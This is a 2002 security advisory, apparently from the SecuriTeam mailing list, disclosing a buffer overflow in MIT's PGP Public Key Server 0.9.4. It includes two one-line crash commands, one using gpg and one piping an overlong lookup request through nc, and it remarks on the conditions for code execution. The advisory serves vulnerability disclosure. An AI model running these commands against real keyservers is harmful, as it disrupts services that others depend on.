[UNIX] PGP Public Key Server DoS and Remote Code Execution

From: support@securiteam.com
Date: 05/26/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Sun, 26 May 2002 09:11:47 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  PGP Public Key Server DoS and Remote Code Execution
------------------------------------------------------------------------

SUMMARY

 <http://www.mit.edu/people/marc/pks/pks.html> MIT's PKS (Public Key
Server) as been found to contain a buffer overflow that would allow an
attacker to cause it to execute arbitrary code, or in cases that execution
would fail, to cause it to no longer answer legitimate key requests.

DETAILS

Vulnerable systems:
 * PGP Public Key Server version 0.9.4

A long enough (> 256b) search request will crash the service. It is as
simple as this:
  #gpg --search-keys `perl -e "print 'A'x512"`

Or, without gpg,

  #echo -e "GET /pks/lookup?op=index&search=`perl -e "print 'A'x512"`"| nc
keyserver-host 11371

Fortunately in order to cause it to execute code, the provided buffer
should be isalnum() string (is all numbers) and should be able to survive
tolower() conversion (convert to lower case).

ADDITIONAL INFORMATION

The information has been provided by <mailto:rusmir@tula.net> Max.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages